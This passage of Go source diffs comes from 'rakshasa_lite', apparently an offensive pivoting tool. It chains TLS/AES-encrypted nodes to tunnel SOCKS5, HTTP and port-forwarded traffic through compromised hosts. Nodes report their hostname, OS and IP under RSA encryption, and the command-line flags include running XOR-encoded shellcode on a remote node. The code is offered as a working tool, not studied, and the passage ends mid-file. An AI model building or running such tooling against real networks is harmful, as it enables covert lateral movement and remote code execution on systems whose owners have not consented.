"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"rakshasa_lite/aes"
|
||||
"rakshasa_lite/common"
|
||||
"rakshasa_lite/server"
|
||||
"strconv"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var (
|
||||
//以下为配置参数
|
||||
dstNode = flag.String("d", "", "依次连接到指定的 上级节点地址,格式为 ip:端口 多个节点以,隔开 第二个地址可以是UUID\r\n -d 192.168.1.1:8883\r\n -d 192.168.1.1:8883,192.168.1.2:8882")
|
||||
limit = flag.String("limit", "", "limit模式,只连接-d的节点,不进行额外节点连接,默认为false,如果为true,本节点掉线的时候,将会尝试连接所有已保存节点")
|
||||
password = flag.String("password", "", "通讯二次加密秘钥,可为空")
|
||||
listenip = flag.String("ip", "", "设置本地节点指定公网ip,如\r\n -ip 192.168.1.1")
|
||||
port = flag.String("p", "", "设置本地节点监听端口,默认8883")
|
||||
configFile = flag.String("f", "", "配置文件路径,为空的时候不读取")
|
||||
|
||||
//以下为功能参数,必须配合-d参数启动
|
||||
socks5port = flag.String("socks5", "", "以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器,如: -socks5 admin:[email protected]:1080")
|
||||
remoteSocksport = flag.String("remotesocks5", "", "-d节点监听socks5代理,并将请求通过本地转出,如: -remote admin:[email protected]:1080")
|
||||
rawbind = flag.String("bind", "", "反向代理转发模式,格式为ip:port,remote_ip:remote_port,-d指定节点将会监听remote_ip:remote_port,通过本机将数据转发到ip:port,如\r\n -bind 127.0.0.1:80,0.0.0.0:80")
|
||||
rawconnect = flag.String("connect", "", "代理转发模式,格式为ip:port,remote_ip:remote_port,本地监听ip:port,并在-d节点连接到remote_ip:remote_port,如\r\n -connect 0.0.0.0:80,192.168.1.1:80")
|
||||
shellCode = flag.String("shellcode", "", "与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码")
|
||||
shellCodeXorKey = flag.String("sXor", "", "shellcode的xor解码密钥")
|
||||
shellCodeParam = flag.String("sParam", "", "shellcode的运行参数")
|
||||
shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒")
|
||||
http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:[email protected]:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080")
|
||||
http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求")
|
||||
)
|
||||
|
||||
flag.Parse()
|
||||
|
||||
var config common.Config
|
||||
if *configFile != "" {
|
||||
if err := server.ConfigLoad(*configFile); err != nil {
|
||||
log.Fatalln("读取配置文件", *configFile, "失败 ", err)
|
||||
}
|
||||
config = server.GetConfig()
|
||||
} else {
|
||||
config = common.Config{
|
||||
Port: 8883,
|
||||
Limit: false,
|
||||
FileName: "config.yaml",
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if *dstNode != "" {
|
||||
serverlist, err := common.ResolveTCPAddr(*dstNode)
|
||||
if err != nil {
|
||||
log.Fatalln("-d参数错误", err)
|
||||
}
|
||||
config.DstNode = serverlist
|
||||
}
|
||||
|
||||
if *password != "" {
|
||||
config.Password = *password
|
||||
}
|
||||
if *listenip != "" {
|
||||
config.ListenIp = *listenip
|
||||
}
|
||||
if *limit != "" {
|
||||
if *limit != "flase" && *limit != "true" {
|
||||
log.Fatalln("limit 参数错误,必须是 false 或者 true")
|
||||
}
|
||||
config.Limit = *limit == "true"
|
||||
}
|
||||
if *port != "" {
|
||||
p, _ := strconv.Atoi(*port)
|
||||
if p < 1 || p > 65535 {
|
||||
log.Fatalln("port 参数错误,必须是1-65535")
|
||||
}
|
||||
config.Port = p
|
||||
}
|
||||
server.SetConfig(config)
|
||||
//修正dstNode为空字串的bug
|
||||
for i := len(config.DstNode) - 1; i >= 0; i-- {
|
||||
addr := config.DstNode[i]
|
||||
if addr == "" {
|
||||
config.DstNode = append(config.DstNode[:i], config.DstNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
server.SetConfig(config)
|
||||
|
||||
//设置一下秘钥
|
||||
aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16]))
|
||||
//初始化node
|
||||
server.InitCurrentNode()
|
||||
|
||||
//启动节点
|
||||
if len(config.DstNode) > 0 && config.DstNode[0] != "" {
|
||||
if _, err := server.GetNodeFromAddrs(config.DstNode); err != nil {
|
||||
log.Fatalln("连接节点失败", err)
|
||||
}
|
||||
}
|
||||
|
||||
if *shellCode != "" {
|
||||
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
|
||||
}
|
||||
if err := server.StartServer(fmt.Sprintf("0.0.0.0:%d", config.Port)); err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
//如果有参数启动,启动一下
|
||||
if *rawbind != "" {
|
||||
if *dstNode == "" {
|
||||
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||
}
|
||||
|
||||
if err := server.StartRawBind(*rawbind, config.DstNode); err != nil {
|
||||
log.Fatalln("bind启动失败", err)
|
||||
}
|
||||
log.Println("rawBind启动成功")
|
||||
} else if *rawconnect != "" {
|
||||
if *dstNode == "" {
|
||||
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||
}
|
||||
n, err := server.GetNodeFromAddrs(config.DstNode)
|
||||
if err != nil {
|
||||
log.Fatalln("connect启动失败", err)
|
||||
}
|
||||
if err := server.StartRawConnect(*rawconnect, n); err != nil {
|
||||
log.Fatalln("connect启动失败", err)
|
||||
}
|
||||
log.Println("rawConnect启动成功")
|
||||
} else if *socks5port != "" {
|
||||
|
||||
cfg, err := common.ParseAddr(*socks5port)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
if err := server.StartSocks5(cfg, config.DstNode); err != nil {
|
||||
log.Fatalln("socks5启动失败", err)
|
||||
}
|
||||
log.Println("socks5启动成功")
|
||||
|
||||
} else if *remoteSocksport != "" {
|
||||
if *dstNode == "" {
|
||||
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||
}
|
||||
n, err := server.GetNodeFromAddrs(config.DstNode)
|
||||
if err != nil {
|
||||
log.Fatalln("remoteSocks5启动失败", err)
|
||||
}
|
||||
cfg, err := common.ParseAddr(*remoteSocksport)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
if err := server.StartRemoteSocks5(cfg, n); err != nil {
|
||||
log.Fatalln("remoteSocks5启动失败", err)
|
||||
}
|
||||
log.Println("remoteSocks5 启动成功")
|
||||
} else if *http_proxy != "" {
|
||||
cfg, err := common.ParseAddr(*http_proxy)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
if err := server.StartHttpProxy(cfg, config.DstNode, *http_proxy_pool); err != nil {
|
||||
log.Fatalln("httpProxy启动失败", err)
|
||||
}
|
||||
log.Println("httpProxy 启动成功")
|
||||
}
|
||||
|
||||
var wait sync.WaitGroup
|
||||
wait.Add(1)
|
||||
wait.Wait()
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"gopkg.in/yaml.v3"
|
||||
"io/ioutil"
|
||||
"rakshasa_lite/common"
|
||||
)
|
||||
|
||||
var currentConfig common.Config
|
||||
|
||||
func SetConfig(config common.Config) {
|
||||
currentConfig = config
|
||||
currentConfig.FileSave = false
|
||||
currentNode.mainIp = currentConfig.ListenIp
|
||||
currentNode.port = currentConfig.Port
|
||||
}
|
||||
func ConfigSave() error {
|
||||
b, _ := yaml.Marshal(currentConfig)
|
||||
err := ioutil.WriteFile(currentConfig.FileName, b, 0666)
|
||||
if err == nil {
|
||||
currentConfig.FileSave = true
|
||||
}
|
||||
return err
|
||||
}
|
||||
func ConfigLoad(filename string) error {
|
||||
b, err := ioutil.ReadFile(filename)
|
||||
if err == nil {
|
||||
var config common.Config
|
||||
err = yaml.Unmarshal(b, &config)
|
||||
if err == nil {
|
||||
|
||||
currentConfig = config
|
||||
currentConfig.FileSave = true
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
func GetConfig() common.Config {
|
||||
|
||||
return currentConfig
|
||||
}
|
||||
@@ -0,0 +1,714 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"rakshasa_lite/aes"
|
||||
"rakshasa_lite/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
bufPool = &sync.Pool{
|
||||
New: func() interface{} {
|
||||
return &bytes.Buffer{}
|
||||
},
|
||||
}
|
||||
closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan
|
||||
)
|
||||
|
||||
// 节点的连接,包含listen来的和主动connect的
|
||||
type Conn struct {
|
||||
closeTag int32
|
||||
node *node
|
||||
nodeaddr string
|
||||
//key string
|
||||
remoteAddr string
|
||||
inChan chan func()
|
||||
OutChan chan []byte
|
||||
close chan string
|
||||
isClient bool
|
||||
nodeConn *tls.Conn
|
||||
regResult chan error
|
||||
regResultNode chan *node
|
||||
}
|
||||
|
||||
type serverListen struct {
|
||||
close int32
|
||||
node *node
|
||||
listen net.Listener
|
||||
isSocks5 bool
|
||||
socks5Replay []byte
|
||||
replayid uint32
|
||||
id uint32
|
||||
connMap sync.Map
|
||||
randkey []byte
|
||||
}
|
||||
type serverConnect struct {
|
||||
close int32
|
||||
id uint32
|
||||
windowsSize int64
|
||||
conn net.Conn
|
||||
node *node
|
||||
address string
|
||||
|
||||
write chan *bytes.Buffer
|
||||
|
||||
wait chan int
|
||||
closeReason string
|
||||
randkey []byte
|
||||
}
|
||||
|
||||
// 中转与最终出口
|
||||
func StartServer(addr string) error {
|
||||
config := cert.Tlsconfig.Clone()
|
||||
fmt.Println("start on ", addr)
|
||||
|
||||
l, err := tls.Listen("tcp", addr, config)
|
||||
if err != nil {
|
||||
return fmt.Errorf("server start fail %v", err)
|
||||
}
|
||||
currentNode.listen = l
|
||||
go func() {
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
//封装一个符合common.server接口的server
|
||||
|
||||
c := &Conn{
|
||||
nodeConn: conn.(*tls.Conn),
|
||||
remoteAddr: conn.RemoteAddr().String(),
|
||||
}
|
||||
connMap.Store(c.remoteAddr, conn)
|
||||
go c.handlerNodeRead()
|
||||
go c.handle()
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
func init() {
|
||||
go func() {
|
||||
for b := range closeChan {
|
||||
b.Reset()
|
||||
bufPool.Put(b)
|
||||
}
|
||||
|
||||
}()
|
||||
}
|
||||
|
||||
func (conn *serverConnect) Close(reason string) {
|
||||
if atomic.CompareAndSwapInt32(&conn.close, 0, 1) {
|
||||
go func() {
|
||||
if conn.conn != nil {
|
||||
conn.conn.Close()
|
||||
}
|
||||
//fmt.Println(conn.fd, reason)
|
||||
conn.node.connMap.Delete(conn.id)
|
||||
conn.closeReason = reason
|
||||
conn.node.listenMap.Range(func(key, value interface{}) bool {
|
||||
value.(*serverListen).connMap.Delete(conn.id)
|
||||
return true
|
||||
})
|
||||
if reason != remoteClose {
|
||||
conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil)
|
||||
}
|
||||
|
||||
select {
|
||||
case conn.wait <- common.CONN_STATUS_CLOSE:
|
||||
case <-time.After(time.Second * 10):
|
||||
}
|
||||
conn.write <- nil
|
||||
conn.write = closeChan
|
||||
|
||||
}()
|
||||
}
|
||||
}
|
||||
func (c *Conn) Close(reason string) {
|
||||
c.close <- reason
|
||||
|
||||
}
|
||||
|
||||
func (conn *serverConnect) handTcpReceive() {
|
||||
go func() {
|
||||
for b := range conn.write {
|
||||
if b == nil {
|
||||
conn.write = closeChan
|
||||
return
|
||||
}
|
||||
if _, err := conn.conn.Write(b.Bytes()); err != nil {
|
||||
conn.Close(err.Error())
|
||||
}
|
||||
b.Reset()
|
||||
bufPool.Put(b)
|
||||
}
|
||||
}()
|
||||
var err error
|
||||
var n int
|
||||
defer func() {
|
||||
|
||||
if err != nil {
|
||||
conn.Close(conn.address + " 读取出错" + err.Error())
|
||||
} else {
|
||||
conn.Close(conn.address + " read异常关闭")
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
|
||||
for conn.close == 0 {
|
||||
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
n, err = conn.conn.Read(buf)
|
||||
if err != nil {
|
||||
if atomic.LoadInt32(&conn.close) == 0 {
|
||||
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
|
||||
|
||||
return
|
||||
}
|
||||
continue
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
data := make([]byte, n)
|
||||
copy(data, buf)
|
||||
|
||||
conn.node.Write(common.CMD_CONN_MSG, conn.id, data)
|
||||
|
||||
atomic.AddInt64(&conn.windowsSize, -1*int64(n))
|
||||
|
||||
for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 {
|
||||
|
||||
select {
|
||||
case flag := <-conn.wait:
|
||||
if flag == common.CONN_STATUS_CLOSE {
|
||||
return
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
func (conn *serverConnect) Write(data []byte) {
|
||||
data = data[1:]
|
||||
windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56
|
||||
|
||||
if windows_update_size != 0 {
|
||||
|
||||
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
|
||||
if old < 0 {
|
||||
go func() {
|
||||
select {
|
||||
case conn.wait <- common.CONN_STATUS_OK:
|
||||
case <-time.After(time.Second):
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
b := bufPool.Get().(*bytes.Buffer)
|
||||
b.Reset()
|
||||
b.Write(data[8:])
|
||||
conn.write <- b
|
||||
}
|
||||
func (conn *serverConnect) handUdpReceive() {
|
||||
|
||||
var err error
|
||||
var n int
|
||||
defer func() {
|
||||
|
||||
if err != nil {
|
||||
conn.Close(conn.address + " 网站读取出错" + err.Error())
|
||||
} else {
|
||||
conn.Close(conn.address + " read异常关闭")
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
|
||||
for conn.close == 0 {
|
||||
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
n, err = conn.conn.Read(buf)
|
||||
if err != nil {
|
||||
if atomic.LoadInt32(&conn.close) == 0 {
|
||||
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
|
||||
|
||||
return
|
||||
}
|
||||
continue
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
b := make([]byte, n)
|
||||
copy(b, buf)
|
||||
conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b)
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
|
||||
|
||||
netconn, err := net.DialTimeout("tcp", addr, time.Second*30)
|
||||
if err != nil {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 0
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||
conn.Close("fd拨号失败")
|
||||
return
|
||||
} else {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 1
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||
if conn.close == 0 {
|
||||
conn.conn = netconn
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) {
|
||||
writeResult := func(res bool) {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 0
|
||||
if res {
|
||||
buf[1] = 1
|
||||
}
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||
}
|
||||
|
||||
if i := strings.IndexByte(addr, 32); i > -1 {
|
||||
cfg, err := common.ParseAddr(addr[i+1:])
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("地址解析失败")
|
||||
return
|
||||
}
|
||||
netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2)
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("fd拨号失败")
|
||||
return
|
||||
} else {
|
||||
netconn.SetDeadline(time.Now().Add(time.Second * 30))
|
||||
netconn.SetWriteDeadline(time.Now().Add(time.Second * 30))
|
||||
switch cfg.Scheam() {
|
||||
case "", "http://":
|
||||
//请求代理
|
||||
data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i])
|
||||
if cfg.GetHttpAuthorizationHeader() != "" {
|
||||
data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n"
|
||||
} else {
|
||||
data += "\r\n"
|
||||
}
|
||||
_, err = netconn.Write([]byte(data))
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("http代理发送消息失败")
|
||||
return
|
||||
}
|
||||
var resdata []byte
|
||||
var result [8192]byte
|
||||
var req = &http1request{}
|
||||
for {
|
||||
n, err := netconn.Read(result[:])
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("读取http代理结果失败")
|
||||
return
|
||||
}
|
||||
|
||||
resdata = append(resdata, result[:n]...)
|
||||
l, _, err := parsereq(req, resdata)
|
||||
if err != nil {
|
||||
return
|
||||
} else if l > 0 {
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
if req.Status == "200 Connection established" {
|
||||
writeResult(true)
|
||||
if conn.close == 0 {
|
||||
conn.conn = netconn
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
} else {
|
||||
writeResult(false)
|
||||
conn.Close("http代理连接失败")
|
||||
}
|
||||
writeResult(true)
|
||||
case "socks5://":
|
||||
_, err = netconn.Write([]byte{5, 1, 2})
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("socks5代理发送消息失败")
|
||||
return
|
||||
}
|
||||
var result [8192]byte
|
||||
|
||||
n, err := netconn.Read(result[:])
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("读取socks5数据出错")
|
||||
return
|
||||
}
|
||||
|
||||
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
|
||||
user, password := cfg.User(), cfg.Password()
|
||||
if user == "" && password == "" {
|
||||
writeResult(false)
|
||||
conn.Close("socks5需要验证")
|
||||
return
|
||||
}
|
||||
|
||||
data := make([]byte, (3 + len(user) + len(password)))
|
||||
data[0] = 5
|
||||
data[1] = byte(len(user))
|
||||
copy(data[2:], user)
|
||||
data[2+len(user)] = byte(len(password))
|
||||
copy(data[3+len(user):], password)
|
||||
netconn.Write(data)
|
||||
n, err = netconn.Read(result[:])
|
||||
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
|
||||
writeResult(false)
|
||||
conn.Close("密码校验不通过")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
data := []byte{5, 1, 0, 1}
|
||||
if u, err := url.ParseRequestURI(addr[:i]); err == nil {
|
||||
data[3] = 3
|
||||
data = append(data, byte(len(u.Scheme)))
|
||||
data = append(data, u.Scheme...)
|
||||
p, _ := strconv.Atoi(u.Opaque)
|
||||
port := []byte{byte(p >> 8), byte(p)}
|
||||
data = append(data, port...)
|
||||
} else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil {
|
||||
data[3] = 1
|
||||
data = append(data, tcp4.IP.String()...)
|
||||
port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)}
|
||||
data = append(data, port...)
|
||||
} else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil {
|
||||
data[3] = 4
|
||||
data = append(data, tcp6.IP.String()...)
|
||||
port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)}
|
||||
data = append(data, port...)
|
||||
}
|
||||
netconn.Write(data)
|
||||
n, _ = netconn.Read(result[:])
|
||||
if n >= 2 && string(result[:2]) == string([]byte{5, 0}) {
|
||||
writeResult(true)
|
||||
if conn.close == 0 {
|
||||
conn.conn = netconn
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
} else {
|
||||
writeResult(false)
|
||||
conn.Close("socks5连接失败")
|
||||
}
|
||||
|
||||
default:
|
||||
writeResult(false)
|
||||
conn.Close("不支持的代理协议")
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
writeResult(false)
|
||||
conn.Close("无法获取代理地址")
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (conn *serverConnect) doHandleUdp() {
|
||||
for b := range conn.write {
|
||||
if b == nil {
|
||||
conn.write = closeChan
|
||||
return
|
||||
}
|
||||
|
||||
conn.conn.Write(b.Bytes())
|
||||
b.Reset()
|
||||
bufPool.Put(b)
|
||||
}
|
||||
}
|
||||
|
||||
var broadcastMap sync.Map //广播帧防止重复处理
|
||||
func (c *Conn) handlerNodeRead() {
|
||||
var err error
|
||||
defer func() {
|
||||
c.nodeConn.Close()
|
||||
c.Close("read错误" + err.Error())
|
||||
|
||||
}()
|
||||
|
||||
lengbuf := make([]byte, 2)
|
||||
for {
|
||||
_, err = io.ReadFull(c.nodeConn, lengbuf)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "i/o timeout") {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8)
|
||||
_, err = io.ReadFull(c.nodeConn, buf)
|
||||
b := aes.AesCtrDecrypt(buf)
|
||||
msg := common.UnmarshalMsg(b)
|
||||
|
||||
if msg.To == common.NoneUUID.String() && c.node == nil {
|
||||
c.inChan <- func() {
|
||||
newNode := &node{
|
||||
conn: c,
|
||||
}
|
||||
newNode.do(msg)
|
||||
}
|
||||
} else if msg.To == currentNode.uuid {
|
||||
|
||||
func() {
|
||||
l := clientLock.RLock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
l.RUnlock()
|
||||
if ok && v.port != 0 {
|
||||
c.inChan <- func() {
|
||||
v.do(msg)
|
||||
}
|
||||
} else {
|
||||
l := clientLock.Lock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
if !ok {
|
||||
newNode := &node{
|
||||
uuid: msg.From,
|
||||
conn: c,
|
||||
waitMsg: []*common.Msg{msg},
|
||||
}
|
||||
result := make(chan interface{}, 1)
|
||||
id := newNode.storeQuery(result)
|
||||
|
||||
nodeMap[msg.From] = newNode
|
||||
l.Unlock()
|
||||
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
|
||||
go func() {
|
||||
defer newNode.deleteQuery(id)
|
||||
select {
|
||||
case res := <-result:
|
||||
if res == nil {
|
||||
|
||||
for _, m := range newNode.waitMsg {
|
||||
c.inChan <- func() {
|
||||
newNode.do(m)
|
||||
}
|
||||
}
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
newNode.Delete("超时")
|
||||
}
|
||||
}()
|
||||
|
||||
} else {
|
||||
|
||||
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
|
||||
|
||||
var res chan interface{}
|
||||
if _v, ok := v.loadQuery(msg.CmdId); !ok {
|
||||
return
|
||||
} else {
|
||||
res = _v
|
||||
}
|
||||
|
||||
var nmsg nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
if err != nil {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.uuid = cert.RSADecrypterStr(nmsg.UUID)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
res <- nil
|
||||
} else {
|
||||
v.waitMsg = append(v.waitMsg, msg)
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
|
||||
} else {
|
||||
|
||||
key := msg.From + "_" + strconv.Itoa(int(msg.MsgId))
|
||||
msg.Ttl++
|
||||
if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok {
|
||||
|
||||
if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播
|
||||
go allNodesDo(func(_n *node) (bool, error) {
|
||||
if _n.uuid != currentNode.uuid {
|
||||
_n.WriteMsg(msg)
|
||||
}
|
||||
return true, nil
|
||||
})
|
||||
newNode := &node{
|
||||
conn: c,
|
||||
}
|
||||
c.inChan <- func() {
|
||||
newNode.do(msg)
|
||||
}
|
||||
} else {
|
||||
c.WriteToUUID(msg)
|
||||
}
|
||||
time.AfterFunc(time.Hour, func() {
|
||||
broadcastMap.Delete(key)
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Conn) handle() {
|
||||
c.OutChan = make(chan []byte, 64)
|
||||
c.inChan = make(chan func())
|
||||
|
||||
c.close = make(chan string, 999)
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case f := <-c.inChan:
|
||||
f()
|
||||
//c.do(b)
|
||||
case b := <-c.OutChan:
|
||||
|
||||
if c.closeTag == 0 {
|
||||
c.tlsWrite(b)
|
||||
//var err error
|
||||
for i := 0; i < len(c.OutChan); i++ {
|
||||
|
||||
c.tlsWrite(<-c.OutChan)
|
||||
}
|
||||
}
|
||||
|
||||
case <-c.close:
|
||||
c.OutChan = upNodeWrite
|
||||
if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 {
|
||||
c.node.ping(0)
|
||||
c.node.nextPingTime = time.Now().Unix() + 5
|
||||
}
|
||||
func() { //返回false则退出handle
|
||||
connMap.Delete(c.remoteAddr)
|
||||
l := clientLock.Lock()
|
||||
defer func() {
|
||||
l.Unlock()
|
||||
}()
|
||||
|
||||
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
|
||||
|
||||
if c.nodeConn != nil {
|
||||
c.nodeConn.Close()
|
||||
}
|
||||
|
||||
if c.node != nil {
|
||||
//移除上游连接
|
||||
for i := len(upLevelNode) - 1; i >= 0; i-- {
|
||||
n := upLevelNode[i]
|
||||
if n.uuid == c.node.uuid {
|
||||
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return
|
||||
}()
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
}
|
||||
func (c *Conn) reg() error {
|
||||
|
||||
var err error
|
||||
reg := &common.RegMsg{
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||
Hostname: cert.RSAEncrypterStr(currentNode.hostName),
|
||||
}
|
||||
regb, _ := json.Marshal(reg)
|
||||
msg := common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: common.NoneUUID.String(),
|
||||
CmdOpteion: common.CMD_REG,
|
||||
CmdData: regb,
|
||||
}
|
||||
if err = c.tlsWrite(msg.Marshal()); err != nil {
|
||||
return err
|
||||
}
|
||||
go c.handlerNodeRead()
|
||||
return nil
|
||||
}
|
||||
func (c *Conn) WriteToUUID(msg *common.Msg) {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
if n, ok := nodeMap[msg.To]; ok {
|
||||
n.WriteMsg(msg)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Conn) Write(b []byte) {
|
||||
|
||||
c.OutChan <- b
|
||||
}
|
||||
|
||||
func (c *Conn) tlsWrite(b []byte) error {
|
||||
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
_, err := c.nodeConn.Write(b)
|
||||
if err != nil {
|
||||
c.Close("Write " + err.Error())
|
||||
upNodeWrite <- b
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,507 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
